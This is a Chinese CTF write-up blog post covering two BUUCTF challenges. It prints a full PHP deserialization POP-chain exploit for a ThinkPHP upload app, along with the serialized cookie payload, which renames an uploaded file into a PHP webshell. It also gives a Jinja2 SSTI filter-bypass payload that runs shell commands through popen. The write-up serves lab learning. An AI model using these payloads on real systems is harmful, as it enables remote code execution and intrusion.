buu刷题记录(三)
[TOC]
[强网杯 2019]Upload
代码审计,反序列化
代码审计真的头疼,太难了。
进入页面有个登陆框,注册登陆,有个上传页面,试了上传webshell无果,看cookie是一段编码,解码之后是序列化后的字符串,肯定就是反序列化了,扫后台发现www.tar.gz,下载下来,审计源码。
文件这么多,既然是反序列化,直接搜索反序列化的魔法函数,这样快一点,一般都是搜索__call和__destruct,
然后在application/web/controller/Profile.php
这个文件里发现了__call
方法和__get__
方法
- call:当调用类中不可访问属性时,call将自动被调用。
- get: 当调用类中不可访问对象时,get将自动被调用。这个类主要处理上传文件的逻辑,创建目录,重命名文件,修改后缀,上传文件。不管是什么文件都会修改成png格式的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94# Profile.php
<?php
namespace app\web\controller;
use think\Controller;
class Profile extends Controller
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __construct()
{
$this->checker=new Index();
$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
@chdir("../public/upload");
if(!is_dir($this->upload_menu)){
@mkdir($this->upload_menu);
}
@chdir($this->upload_menu);
}
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
public function update_img(){
$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
if(empty($user_info['img']) && $this->img){
if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
$this->update_cookie();
$this->success('Upload img successful!', url('../home'));
}else{
$this->error('Upload file failed!', url('../index'));
}
}
}
public function update_cookie(){
$this->checker->profile['img']=$this->img;
cookie("user",base64_encode(serialize($this->checker->profile)),3600);
}
public function ext_check(){
$ext_arr=explode(".",$this->filename);
$this->ext=end($ext_arr);
if($this->ext=="png"){
return 1;
}else{
return 0;
}
}
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
但是只有这一个类也没法使用,再查找__destruct函数,在application/web/controller/Register.php
文件中找到这个方法。
关键代码如下:当对象被销毁时,调用1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18# Register.php
<?php
class Register extends Controller
{
public $checker;
public $registed;
public function __construct()
{
$this->checker=new Index();
}
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}__destruct
方法,调用$this->checker
对象的index()
函数,而Profile类中是没有这个函数的,这样就可以成功触发__call方法,说一下这里call的两个参数,第一个参数1
2
3
4
5
6
7
8
9
10
11public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}$name
会自动接收不存在的方法名,第二个$arguments
则以数组的方式接收不存在方法的多个参数。
在```destruct中调用$this->checker->index(),index就会变成__call的第一个参数传递进去,而index()中没有参数,__call中的第二个参数也就为空。 参数传递进去后,就变成在__call中调用 **$this->index()**,而这个类中是没有这个对象的,然后触发 **__get** 方法。 然后看
application/web/controller/Index.php```文件,关键代码如下:在index()中调用login_check(),而在login_check()中把cookie中传来的值直接进行反序列化,1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26class Index extends Controller
{
public $profile;
public $profile_db;
public function index()
{
if($this->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
return $this->fetch("index");
}
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}
}
我们再看Profile类中
在upload_img()函数开始时会自动调用login_check(),然后再往下看
这里会将文件进行重命名,我们就可以通过重命名将已经上传的png文件重命名为php文件,从而获取webshell,前面那个检查文件名后缀只有在通过表单上传文件时才会触发。
这样思路就清楚了,先随便上传一个写有weshell的jpg后缀的文件,然后通过访问/upload/获取文件名,接下来就开始构造:1
2
3
4==>Register->__destruct()
==>Profile->__call()
==>Profile->__get()
==>Profile->upload_img()因为那几个文件都加了namespace,所以我们在构造的时候也要加上,运行这个得到payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53<?php
namespace app\web\controller;
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
class Register
{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/04b0951938d905b41348c1548f9c338b/197eb9d5e3830b156293e9c9d951518b.png";
$profile->filename = "../public/upload/04b0951938d905b41348c1548f9c338b/197eb9d5e3830b156293e9c9d951518b.php";
$register = new Register();
$register->registed = false;
$register->checker = $profile;
echo urlencode(base64_encode(serialize($register)));传入cookie中,然后访问我们的weshell,得到flag。1
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjg2OiIuLi9wdWJsaWMvdXBsb2FkLzA0YjA5NTE5MzhkOTA1YjQxMzQ4YzE1NDhmOWMzMzhiLzE5N2ViOWQ1ZTM4MzBiMTU2MjkzZTljOWQ5NTE1MThiLnBuZyI7czo4OiJmaWxlbmFtZSI7czo4NjoiLi4vcHVibGljL3VwbG9hZC8wNGIwOTUxOTM4ZDkwNWI0MTM0OGMxNTQ4ZjljMzM4Yi8xOTdlYjlkNWUzODMwYjE1NjI5M2U5YzlkOTUxNTE4Yi5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtzOjM6InBuZyI7czozOiJpbWciO3M6MTA6InVwbG9hZF9pbWciO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MzoiaW1nIjt9fXM6ODoicmVnaXN0ZWQiO2I6MDt9
[pasecactf_2019]flask_ssti
首先试一下49发现存在ssti注入,然后发现 '._
这三个符号被ban了。
一般方法好像都用不了了,今天学到一种新的绕过方法,使用十六进制绕过,在模板注入时可以使用,但正常的python语法是不支持的。
- “.”的十六进制就是\x2e
- “_”的十六进制就是\x5f
- 单引号用双引号代替
就像这样:等价于
先用下面这个payload读取到app.py的源码源码,只放关键部分了:1
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat app\x2epy")["read"]()}}
解密这个得到flag。1
2
3
4
5
6
7
8
9def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""
- Post Title: buu刷题记录(三)
- Post Author: Katharsis
- Post Link: http://yoursite.com/2020/08/10/buuoj-03/
- Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.